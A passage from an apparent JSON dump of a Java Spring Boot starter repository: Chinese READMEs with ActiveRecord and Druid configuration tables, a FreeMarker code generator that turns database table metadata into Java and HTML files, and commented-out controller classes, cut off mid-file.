<version>${version}</version>\n</dependency>\n```\n\n## 配置\n### ActiveRecord\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| mica.activerecord.dialect | mysql | 方言，默认：mysql，注意：设置为 Druid 时采用 Ansi + druid 分页优化，支持多种数据库 |\n| mica.activerecord.auto-table-scan | true | 自定表扫描 |\n| mica.activerecord.model-package |  | 模型的包路径 |\n| mica.activerecord.base-template-path |  | sql 模板前缀 |\n| mica.activerecord.sql-templates |  | sql 模板，支持多个 |\n| mica.activerecord.transaction-level |  | 事务级别，默认：不可重复读 |\n\n### Spring database（优先）\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| spring.datasource.url |  | 数据库地址 |\n| spring.datasource.username |  | 数据库用户名 |\n| spring.datasource.password |  | 数据库密码 |\n\n### Druid\n| 配置项 | 默认值 | 说明                     |\n| ----- |----|------------------------|\n| mica.druid.url |    | 数据库地址                  |\n| mica.druid.username |    | 数据库用户名                 |\n| mica.druid.password |    | 数据库密码                  |\n| mica.druid.show-sql | true | 打印可执行 sql，默认为 true     |\n| mica.druid.show-sql-patterns | [] | 打印 sql 的正则，list 列表，例如：`.*t_user.*` |\n| mica.druid.connection-init-sql |    |                        |\n| mica.druid.connection-properties |    |                        |\n| mica.druid.default-transaction-isolation |    |                        |\n| mica.druid.driver-class |    |                        |\n| mica.druid.filters |    |                        |\n| mica.druid.initial-size | 1  |                        |\n| mica.druid.keep-alive |    |                        |\n| mica.druid.log-abandoned | false |                        |\n| mica.druid.max-active | 32 |                        |\n| mica.druid.max-pool-prepared-statement-per-connection-size | -1 |                        |\n| mica.druid.max-wait | -1 |                        |\n| mica.druid.min-evictable-idle-time-millis | 1800000 |                        |\n| mica.druid.min-idle | 10 |                        |\n| mica.druid.public-key |    |                        |\n| mica.druid.remove-abandoned | false |                        |\n| mica.druid.remove-abandoned-timeout-millis | 300000 |                        |\n| mica.druid.test-on-borrow | false |                        |\n| mica.druid.test-on-return | false |                        |\n| mica.druid.test-while-idle | true |                        |\n| mica.druid.time-between-connect-error-millis | 30000 |                        |\n| mica.druid.time-between-eviction-runs-millis | 60000 |                        |\n| mica.druid.time-between-log-stats-millis |    |                        |\n| mica.druid.validation-query | select 1 |                        |\n| mica.druid.validation-query-timeout |    |                        |\n\n## 代码生成\n```java\n/**\n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class CodeGeneratorTest {\n\n\tpublic static void main(String[] args) {\n\t\tCodeGenerator generator = CodeGenerator.create()\n\t\t\t.url(\"jdbc:mysql://127.0.0.1:3306/blog\")\n\t\t\t.username(\"root\")\n\t\t\t.password(\"12345678\")\n\t\t\t.basePackageName(\"net.dreamlu.demo\")\n\t\t\t.outputDir(PathKit.getWebRootPath())\n\t\t\t.openDir() // 完成后打开目录窗口\n\t\t\t.build();\n\t\t// 为生成器添加类型映射，将数据库反射得到的类型映射到指定类型\n//\t\tgenerator.addTypeMapping(Date.class, LocalDateTime.class);\n\t\t// 设置数据库方言\n\t\tgenerator.setDialect(new MysqlDialect());\n\t\t// 设置是否生成链式 setter 方法\n\t\tgenerator.setGenerateChainSetter(false);\n\t\t// 添加不需要生成的表名\n\t\tgenerator.addExcludedTable(\"adv\");\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgenerator.setGenerateDaoInModel(true);\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"model.User\"而非 OscUser\n\t\tgenerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t// 生成\n\t\tgenerator.generate();\n\t}\n\n}\n```\n\n## 示例：自定义 jFinal ActiveRecord Plugin 配置\n```java\n@AutoConfiguration\npublic class MicaArpCustomConfiguration {\n\n\t@Bean\n\tpublic ActiveRecordPluginCustomizer activeRecordPluginCustomizer() {\n\t\treturn new ActiveRecordPluginCustomizer() {\n\t\t\t@Override\n\t\t\tpublic void customize(ActiveRecordPlugin arp) {\n\t\t\t\tSystem.out.println(\"----------------ActiveRecordPluginCustomizer-----------------\");\n\t\t\t\tarp.setDevMode(true);\n\t\t\t}\n\t\t};\n\t}\n\n}\n```\n\n## TODO \n- 对多数据源的支持"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/readme4.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/Application.java",
    "content": "//package io.github.wujun728.generator;\n//\n//import org.springframework.boot.SpringApplication;\n//import org.springframework.boot.autoconfigure.SpringBootApplication;\n//\n//\n//@SpringBootApplication\n//public class Application {\n//    public static void main(String[] args) {\n//        SpringApplication.run(Application.class, args);\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/CodeUtil.java",
    "content": "package io.github.wujun728.generator;\n\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Lists;\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.generator.util.StringUtils;\n//import io.github.wujun728.generator.utils.GeneratorUtil;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n@Slf4j\npublic class CodeUtil {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3307/db_qixing_v2?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"mysqladmin\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n//        genCode(ds,\"pj_customer\",CodeUtil.UI_LAYUI_LIST);\n//        genCode(ds,\"pj_customer\",CodeUtil.UI_LAYUI_EDIT2);\n        genCodeFile(ds,\"paas_holiday\",\"D:/test1122\",CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n        //genCodeFile(ds,\"paas_component_tag\",\"D:/test1122\",CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n    }\n\n    public static String authorName = \"authorName\";\n    private static String AUTHOR_NAME = \"wujun\";\n    public static String packageName = \"packageName\";\n    public static String namePreRemove = \"S_,B_,I_,DT_,TS_,M_,F_,PK_I_N,PK_I_S,PAAS1_\";\n    private static String PACKAGE_NAME = \"io.github.wujun728.biz\";\n    public static String MYBATIS_PLUG_SINGLE_VO_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Vo.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_CONTROLLER_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_DTO_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Dto.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_EDIT_HTML = \"/mybatis-plus-single-v3/edit.html.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_LIST_HTML = \"/mybatis-plus-single-v3/list.html.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_ENTITY_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Entity.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_MAPPER_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_SERVICE_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Service.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_SERVICE_IMPL_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}ServiceImpl.java.ftl\";\n\n    public static String BEETLSQL_BEETLCONTROLLER = \"/beetlsql/${classInfo.className}Controller.java.ftl\";\n    public static String BEETLSQL_BEETLENTITY = \"/beetlsql/${classInfo.className}.java.ftl\";\n    public static String BEETLSQL_BEETLMD = \"/beetlsql/${classInfo.className}.md.ftl\";\n\n    public static String Db_RECORD_CONTROLLER = \"/db-record/${classInfo.className}Controller.java.ftl\";\n    public static String Db_RECORD_ENTITY = \"/db-record/${classInfo.className}.java.ftl\";\n\n\n    public static String JDBCTEMPLATE_JTDAO = \"/jdbctemplate/I${classInfo.className}DAO.java.ftl\";\n    public static String JDBCTEMPLATE_JTDAOIMPL = \"/jdbctemplate/${classInfo.className}DaoImpl.java.ftl\";\n\n\n\n    public static String JPA_ENTITY = \"/jpa/${classInfo.className}.java.ftl\";\n    public static String JPA_JPACONTROLLER = \"/jpa/${classInfo.className}Controller.java.ftl\";\n    public static String JPA_REPOSITORY = \"/jpa/${classInfo.className}Repository.java.ftl\";\n\n\n    public static String MYBATISPLUS_PLUSCONTROLLER = \"/mybatis-plus/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATISPLUS_PLUSENTITY = \"/mybatis-plus/${classInfo.className}.java.ftl\";\n    public static String MYBATISPLUS_PLUSMAPPER = \"/mybatis-plus/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATISPLUS_PLUSSERVICE = \"/mybatis-plus/${classInfo.className}Service.java.ftl\";\n\n    public static String MYBATIS_CONTROLLER = \"/mybatis/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATIS_MAPPER = \"/mybatis/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATIS_MAPPER2 = \"/mybatis/${classInfo.className}Mapper2.java.ftl\";\n    public static String MYBATIS_MODEL = \"/mybatis/${classInfo.className}.java.ftl\";\n    public static String MYBATIS_MYBATIS_XML = \"/mybatis/${classInfo.className}.xml.ftl\";\n    public static String MYBATIS_SERVICE = \"/mybatis/${classInfo.className}Service.java.ftl\";\n    public static String MYBATIS_SERVICE_IMPL = \"/mybatis/${classInfo.className}ServiceImpl.java.ftl\";\n\n    public static String UI_BOOTSTRAP_UI = \"/ui/${classInfo.className}bootstrap.html.ftl\";\n    public static String UI_ELEMENT_UI = \"/ui/${classInfo.className}element.vuel.ftl\";\n    public static String UI_LAYUI_EDIT = \"/ui/${classInfo.className}layui-edit.html.ftl\";\n\n    public static String UI_LAYUI_EDIT2 = \"/ui/${classInfo.className}layui-edit2.html.ftl\";\n    public static String UI_LAYUI_LIST = \"/ui/${classInfo.className}layui-list.html.ftl\";\n    public static String UI_SWAGGER_UI = \"/ui/${classInfo.className}swagger.json.ftl\";\n\n\n\n    public static String UTIL_BEANUTIL = \"/util/${classInfo.className}beanutil.java.ftl\";\n    public static String UTIL_JSON = \"/util/${classInfo.className}json.json.ftl\";\n    public static String UTIL_SQL = \"/util/${classInfo.className}sql.sql.ftl\";\n    public static String UTIL_SWAGGER_YML = \"/util/${classInfo.className}swagger.yml.ftl\";\n    public static String UTIL_XML = \"/util/${classInfo.className}xml.xml.ftl\";\n\n\n    public  static List<String> GROUP_MYBATIS_PLUG_NO1 = Lists.newArrayList(MYBATIS_PLUG_SINGLE_VO_JAVA,MYBATIS_PLUG_SINGLE_CONTROLLER_JAVA,MYBATIS_PLUG_SINGLE_DTO_JAVA,\n            MYBATIS_PLUG_SINGLE_ENTITY_JAVA, MYBATIS_PLUG_SINGLE_MAPPER_JAVA,MYBATIS_PLUG_SINGLE_SERVICE_JAVA,MYBATIS_PLUG_SINGLE_SERVICE_IMPL_JAVA,MYBATIS_PLUG_SINGLE_EDIT_HTML,\n            MYBATIS_PLUG_SINGLE_LIST_HTML);\n    public  static List<String> GROUP_BEETLSQL = Lists.newArrayList(BEETLSQL_BEETLMD,BEETLSQL_BEETLENTITY,BEETLSQL_BEETLCONTROLLER);\n    public  static List<String> GROUP_DB_RECORD = Lists.newArrayList(Db_RECORD_CONTROLLER,Db_RECORD_ENTITY);\n    public  static List<String> GROUP_JDBCTEMPLATE = Lists.newArrayList(JDBCTEMPLATE_JTDAO,JDBCTEMPLATE_JTDAOIMPL);\n    public  static List<String> GROUP_JPA = Lists.newArrayList(JPA_ENTITY,JPA_REPOSITORY,JPA_JPACONTROLLER);\n    public  static List<String> GROUP_MYBATISPLUS = Lists.newArrayList(MYBATISPLUS_PLUSCONTROLLER,MYBATISPLUS_PLUSENTITY,MYBATISPLUS_PLUSMAPPER,MYBATISPLUS_PLUSSERVICE);\n    public  static List<String> GROUP_MYBATIS = Lists.newArrayList(MYBATIS_CONTROLLER,MYBATIS_MAPPER,MYBATIS_MAPPER2,MYBATIS_MODEL,MYBATIS_MYBATIS_XML,\n            MYBATIS_SERVICE,MYBATIS_SERVICE_IMPL);\n    public  static List<String> GROUP_UI = Lists.newArrayList(UI_BOOTSTRAP_UI,UI_ELEMENT_UI,UI_LAYUI_EDIT,UI_LAYUI_LIST,UI_SWAGGER_UI);\n    public  static List<String> GROUP_UTIL = Lists.newArrayList(UTIL_BEANUTIL,UTIL_JSON,UTIL_SQL,UTIL_SWAGGER_YML,UTIL_XML);\n    static Map<String, Object> params = new HashMap<String, Object>();\n    public static Map<String, Object> customeConfig = new HashMap<String, Object>();\n\n\n\n\n\n    public static void genCodeCustom(DataSource dataSource,String tableName,String templatePath,String templateFileName) {\n        genCodeV1(true,dataSource,tableName,templatePath,templateFileName);\n    }\n    public static void genCode(DataSource dataSource,String tableName,String templateFileName) {\n        genCodeV1(false,dataSource,tableName,null,templateFileName);\n    }\n    /*public static void genCodeFile(DataSource dataSource, String tableName, List<String> templateFileName, String filePath) {\n\n    }*/\n    public static void genCodeFile(DataSource dataSource, String tableName, String filePath, List<String> templateFileName) {\n        for(String template : templateFileName){\n            String content = genCodeV1(false, dataSource, tableName, null, template,filePath);\n        }\n    }\n    public static void genCodeFile(DataSource dataSource, String tableName, String filePath, String templateFileName) {\n        String content = genCodeV1(false, dataSource, tableName, null, templateFileName,filePath);\n    }\n    private static String genCodeV1(Boolean isCustom, DataSource dataSource, String tableName, String templatePath, String templateFileName) {\n        return genCodeV1(isCustom, dataSource, tableName, templatePath, templateFileName,null);\n    }\n    private static String genCodeV1(Boolean isCustom, DataSource dataSource, String tableName, String templatePath, String templateFileName,String filePath) {\n\n        try {\n            ClassInfo classInfo = getClassInfo(dataSource,tableName);\n            params = new HashMap<>();\n            params.put(\"classInfo\", classInfo);\n            params.put(\"ClassName\", classInfo.getClassName());\n            params.put(authorName, AUTHOR_NAME);\n            params.put(packageName, PACKAGE_NAME);\n            params.put(\"isAutoImport\", true);\n            params.put(\"isSwagger\", true);\n            params.putAll(customeConfig);\n            Map<String, String> result = new HashMap<String, String>();\n            if(isCustom){\n                FreemarkerUtil.init2DirectoryForTemplateLoading(templatePath);\n            }else{\n                FreemarkerUtil.init2ClassForTemplateLoading(\"/templates\");\n            }\n            //result.put(\"service_code\", FreemarkerUtil.processString(\"service.ftl\", params));\n            String templateContent = FreemarkerUtil.processString(templateFileName, params);\n            result.put(templateFileName, templateContent);\n            // 计算,生成代码行数\n            int lineNum = 0;\n            for (Map.Entry<String, String> item: result.entrySet()) {\n                if (item.getValue() != null) {\n                    lineNum += StringUtils.countMatches(item.getValue(), \"\\n\");\n                }\n            }\n\n            if(StrUtil.isNotEmpty(filePath)){\n                String content = templateContent;\n                String path_tmep = templateFileName.replace(\".ftl\",\"\");\n                String path_tmep2 = removeFirstFloderPath(path_tmep);\n                String fileName = FreemarkerUtil.processStringTemplate(path_tmep2,params);\n                String fulllPahtName = filePath+File.separator+fileName;\n                if(StrUtil.isNotEmpty(MapUtil.getStr(params,packageName))){\n                    String floder1= StrUtil.replace(MapUtil.getStr(params,packageName),\".\",File.separator);\n                    fulllPahtName = filePath+File.separator+floder1+fileName;\n                }\n                FileUtil.writeString(content,fulllPahtName, Charset.defaultCharset());\n                StaticLog.info(\"生成代码{}，生成代码行数：{}\", fulllPahtName, lineNum);\n            }else {\n                result.keySet().forEach(key->{\n                    StaticLog.info(\"key=\"+key);\n                    StaticLog.info(\"val=\"+result.get(key));\n                });\n                StaticLog.info(\"生成代码{}，生成代码行数：{}\", templateFileName, lineNum);\n            }\n            return templateContent;\n        } catch (IOException | TemplateException e) {\n            StaticLog.error(e.getMessage(), e);\n        }\n\n        return tableName;\n    }\n\n    public static ClassInfo getClassInfo(DataSource dataSource,String tableName) {\n        Table table = MetaUtil.getTableMeta(dataSource, tableName);\n        // V1 初始化数据及对象 模板V1 field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        List<FieldInfo> pkfieldList = new ArrayList<FieldInfo>();\n        for (Column column : table.getColumns()) {\n            // V1 初始化数据及对象\n            String remarks = column.getComment();// cloumnsSet.getString(\"REMARKS\");// 列的描述\n            String columnName = column.getName();// cloumnsSet.getString(\"COLUMN_NAME\"); // 获取列名\n            String javaType = getType(column.getType()/*cloumnsSet.getInt(\"DATA_TYPE\")*/);// 获取类型，并转成JavaType\n            String columnType = column.getTypeName();// 获取类型，并转成JavaType\n            long COLUMN_SIZE = column.getSize();// cloumnsSet.getInt(\"COLUMN_SIZE\");// 获取\n            String COLUMN_DEF = column.getColumnDef();// cloumnsSet.getString(\"COLUMN_DEF\");// 获取\n            Boolean nullable = column.isNullable();// cloumnsSet.getInt(\"NULLABLE\");// 获取\n            String propertyName = replace_(replaceRowPreStr(columnName));// 处理列名，驼峰\n            Boolean isPk = column.isPk();\n            // V1 初始化数据及对象\n            FieldInfo fieldInfo = new FieldInfo();\n            fieldInfo.setColumnName(columnName);\n            fieldInfo.setColumnType(columnType);\n            fieldInfo.setFieldName(propertyName);\n            fieldInfo.setFieldClass(simpleName(javaType));\n            fieldInfo.setFieldComment(remarks);\n            fieldInfo.setColumnSize(COLUMN_SIZE);\n            fieldInfo.setNullable(nullable);\n            fieldInfo.setFieldType(javaType);\n            fieldInfo.setIsPrimaryKey(isPk);\n            fieldList.add(fieldInfo);\n            if(isPk){\n                pkfieldList.add(fieldInfo);\n            }\n        }\n        if (fieldList != null && fieldList.size() > 0) {\n            ClassInfo classInfo = new ClassInfo();\n            classInfo.setTableName(table.getTableName());\n            String className = replace_(replaceRowPreStr(table.getTableName())); // 名字操作,去掉tab_,tb_，去掉_并转驼峰\n            String classNameFirstUpper = firstUpper(className); // 大写对象\n            classInfo.setClassName(classNameFirstUpper);\n            if(table.getComment().contains(\"表\")){\n                classInfo.setClassComment(table.getComment().replace(\"表\",\"\"));\n            }else{\n                classInfo.setClassComment(table.getComment());\n            }\n            classInfo.setFieldList(fieldList);\n            classInfo.setPkfieldList(pkfieldList);\n            classInfo.setPkSize(table.getPkNames().size());\n            return classInfo;\n        }\n        return null;\n    }\n\n    public static String replaceRowPreStr(String str) {\n\t\t//str = str.toLowerCase().replaceFirst(\"tab_\", \"\").replaceFirst(\"tb_\", \"\").replaceFirst(\"t_\", \"\");\n        for (String x : namePreRemove.split(\",\")) {\n            if(str.startsWith(x.toLowerCase())){\n                str = str.replaceFirst(x.toLowerCase(), \"\");\n            }\n        }\n        return str;\n    }\n\n    public static String replace_(String str) {\n        // 根据下划线分割\n        String[] split = str.split(\"_\");\n        // 循环组装\n        String result = split[0];\n        if (split.length > 1) {\n            for (int i = 1; i < split.length; i++) {\n                result += firstUpper(split[i]);\n            }\n        }\n        return result;\n    }\n\n    public static String firstUpper(String str) {\n        // log.info(\"str:\"+str+\",str.length=\"+str.length());\n        if (!org.springframework.util.StringUtils.isEmpty(str)) {\n            return str.substring(0, 1).toUpperCase() + str.substring(1);\n        } else {\n            return str;\n        }\n    }\n\n    public static String simpleName(String type) {\n        return type.replace(\"java.lang.\", \"\").replaceFirst(\"java.util.\", \"\");\n    }\n\n    private static String removeFirstFloderPath(String str) {\n        String strPath = new String(str.getBytes(StandardCharsets.UTF_8));\n        if(StrUtil.isNotEmpty(strPath) && strPath.contains(\"/\") && strPath.split(\"/\").length>1){\n            List<String> strs = StrUtil.split(strPath,\"/\");\n            String newFloderPath = strPath.replaceFirst(\"/\"+strs.get(1),\"\");\n            System.out.println(newFloderPath);\n            return newFloderPath;\n        }\n        return strPath;\n    }\n\n\n    public static String getType(int value) {\n        switch (value) {\n            case -6:\n                return \"java.lang.Integer\";\n            case 5:\n                return \"java.lang.Integer\";\n            case 4:\n                return \"java.lang.Integer\";\n            case -5:\n                return \"java.lang.Long\";\n            case 6:\n                return \"java.lang.Float\";\n            case 8:\n                return \"java.lang.Double\";\n            case 1:\n                return \"java.lang.String\";\n            case 12:\n                return \"java.lang.String\";\n            case -1:\n                return \"java.lang.String\";\n            case 91:\n                return \"java.util.Date\";\n            case 92:\n                return \"java.util.Date\";\n            case 93:\n                return \"java.util.Date\";\n            case 16:\n                return \"java.lang.Boolean\";\n            default:\n                return \"java.lang.String\";\n        }\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/controller/CodeGeneratorController2.java",
    "content": "//package io.github.wujun728.generator.controller;\n//\n//import freemarker.template.TemplateException;\n//import io.github.wujun728.common.base.Result;\n//import io.github.wujun728.generator.entity.ClassInfo;\n//import io.github.wujun728.generator.util.FreemarkerTool;\n//import io.github.wujun728.generator.util.StringUtils;\n//import io.github.wujun728.generator.util.TableParseUtil;\n//import org.apache.commons.io.IOUtils;\n//import org.slf4j.Logger;\n//import org.slf4j.LoggerFactory;\n//import org.springframework.stereotype.Controller;\n//import org.springframework.validation.annotation.Validated;\n//import org.springframework.web.bind.annotation.GetMapping;\n//import org.springframework.web.bind.annotation.RequestMapping;\n//import org.springframework.web.bind.annotation.ResponseBody;\n//\n//import javax.annotation.Resource;\n//import javax.servlet.http.HttpServletResponse;\n//import java.io.ByteArrayOutputStream;\n//import java.io.IOException;\n//import java.util.HashMap;\n//import java.util.Map;\n//import java.util.zip.ZipOutputStream;\n//\n//@Controller\n//public class CodeGeneratorController2 {\n//    private static final Logger logger = LoggerFactory.getLogger(CodeGeneratorController2.class);\n//\n//    @Resource\n//    private FreemarkerTool freemarkerTool;\n//\n//    @RequestMapping(\"/\")\n//    public String index() {\n//        return \"index\";\n//    }\n//    @RequestMapping(\"/generate\")\n//    public String generate() {\n//        return \"generate\";\n//    }\n//\n//    @RequestMapping(\"/codeGenerate\")\n//    @ResponseBody\n//    public Result codeGenerate(String tableSql) {\n//\n//        try {\n//\n//            if (tableSql==null || tableSql.trim().length()==0) {\n//                return new Result(500, \"表结构信息不可为空\");\n//            }\n//\n//            // parse table\n//            ClassInfo classInfo = TableParseUtil.processTableIntoClassInfo(tableSql);\n//\n//            // code genarete\n//            Map<String, Object> params = new HashMap<String, Object>();\n//            params.put(\"classInfo\", classInfo);\n//         // genProcessStringWriter(datas, result);\n//\t\t\tparams.put(\"packageController\", \"io.github.wujun728.biz.controller\");\n//\t\t\tparams.put(\"packageService\", \"io.github.wujun728.biz.service\");\n//\t\t\tparams.put(\"packageServiceImpl\", \"io.github.wujun728.biz.service.impl\");\n//\t\t\tparams.put(\"packageDao\", \"io.github.wujun728.biz.dao\");\n//\t\t\tparams.put(\"packageMybatisXML\", \"io.github.wujun728.biz.model\");\n//\t\t\tparams.put(\"packageModel\", \"io.github.wujun728.biz.model\");\n//\n//            // result\n//            Map<String, String> result = new HashMap<String, String>();\n//\n//            result.put(\"controller_code\", freemarkerTool.processString(\"code-generator/controller.ftl\", params));\n//            result.put(\"service_code\", freemarkerTool.processString(\"code-generator/service.ftl\", params));\n//            result.put(\"service_impl_code\", freemarkerTool.processString(\"code-generator/service_impl.ftl\", params));\n//\n//            result.put(\"dao_code\", freemarkerTool.processString(\"code-generator/dao.ftl\", params));\n//            result.put(\"mybatis_code\", freemarkerTool.processString(\"code-generator/mybatis.ftl\", params));\n//            result.put(\"model_code\", freemarkerTool.processString(\"code-generator/model.ftl\", params));\n//\n//            // 计算,生成代码行数\n//            int lineNum = 0;\n//            for (Map.Entry<String, String> item: result.entrySet()) {\n//                if (item.getValue() != null) {\n//                    lineNum += StringUtils.countMatches(item.getValue(), \"\\n\");\n//                }\n//            }\n//            logger.info(\"生成代码行数：{}\", lineNum);\n//\n//            return  Result.ok(result);\n//        } catch (IOException | TemplateException e) {\n//            logger.error(e.getMessage(), e);\n//            return new Result(500, \"表结构解析失败\");\n//        }\n//\n//    }\n//\n//    @GetMapping(\"/codeGenerate/runDown\")\n//    //@BusinessLog(title = \"代码生成_下载方式\", opType = LogAnnotionOpTypeEnum.OTHER)\n//    public void runDown(HttpServletResponse response) {\n//\n//    }\n//\n//\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/controller/GeneratorController.java",
    "content": "//package io.github.wujun728.generator.controller;\n//\n//import com.softdev.system.generator.entity.ReturnT;\n//import com.softdev.system.generator.util.ValueUtil;\n//import io.github.wujun728.generator.entity.ClassInfo;\n//import io.github.wujun728.generator.service.GeneratorService;\n//import io.github.wujun728.generator.util.MapUtil;\n//import io.github.wujun728.generator.entity.ParamInfo;\n//import io.github.wujun728.generator.util.TableParseUtil;\n//import lombok.extern.slf4j.Slf4j;\n//import org.apache.commons.lang3.StringUtils;\n//import org.springframework.beans.factory.annotation.Autowired;\n//import org.springframework.stereotype.Controller;\n//import org.springframework.web.bind.annotation.*;\n////import org.springframework.web.servlet.ModelAndView;\n//\n//import java.util.Date;\n//import java.util.Map;\n//\n///**\n// * 代码生成控制器\n// * @author zhengkai.blog.csdn.net\n// */\n//@Controller\n//@Slf4j\n//public class GeneratorController {\n//    @Autowired\n//    private ValueUtil valueUtil;\n//\n//    @Autowired\n//    private GeneratorService generatorService;\n//\n////    @GetMapping(\"/\")\n////    public ModelAndView defaultPage() {\n////        return new ModelAndView(\"index\").addObject(\"value\",valueUtil);\n////    }\n////    @GetMapping(\"/index\")\n////    public ModelAndView indexPage() {\n////        return new ModelAndView(\"index\").addObject(\"value\",valueUtil);\n////    }\n////    @GetMapping(\"/main\")\n////    public ModelAndView mainPage() {\n////        return new ModelAndView(\"main\").addObject(\"value\",valueUtil);\n////    }\n//\n//    @RequestMapping(\"/template/all\")\n//    @ResponseBody\n//    public ReturnT getAllTemplates() throws Exception {\n//        String templates = generatorService.getTemplateConfig();\n//        return ReturnT.ok().put(\"templates\",templates);\n//    }\n//    @PostMapping(\"/code/generate\")\n//    @ResponseBody\n//    public ReturnT generateCode(@RequestBody ParamInfo paramInfo) throws Exception {\n//        //log.info(JSON.toJSONString(paramInfo.getOptions()));\n//        if (StringUtils.isEmpty(paramInfo.getTableSql())) {\n//            return ReturnT.error(\"表结构信息为空\");\n//        }\n//\n//        //1.Parse Table Structure 表结构解析\n//        ClassInfo classInfo = null;\n//        String dataType = MapUtil.getString(paramInfo.getOptions(),\"dataType\");\n//        if (\"sql\".equals(dataType)||dataType==null) {\n//            classInfo = TableParseUtil.processTableIntoClassInfo(paramInfo);\n//        }else if (\"json\".equals(dataType)) {\n//            //JSON模式：parse field from json string\n//            classInfo = TableParseUtil.processJsonToClassInfo(paramInfo);\n//            //INSERT SQL模式：parse field from insert sql\n//        } else if (\"insert-sql\".equals(dataType)) {\n//            classInfo = TableParseUtil.processInsertSqlToClassInfo(paramInfo);\n//            //正则表达式模式（非完善版本）：parse sql by regex\n//        } else if (\"sql-regex\".equals(dataType)) {\n//            classInfo = TableParseUtil.processTableToClassInfoByRegex(paramInfo);\n//            //默认模式：default parse sql by java\n//        }\n//\n//        //2.Set the params 设置表格参数\n//\n//        paramInfo.getOptions().put(\"classInfo\", classInfo);\n//        paramInfo.getOptions().put(\"tableName\", classInfo == null ? System.currentTimeMillis() : 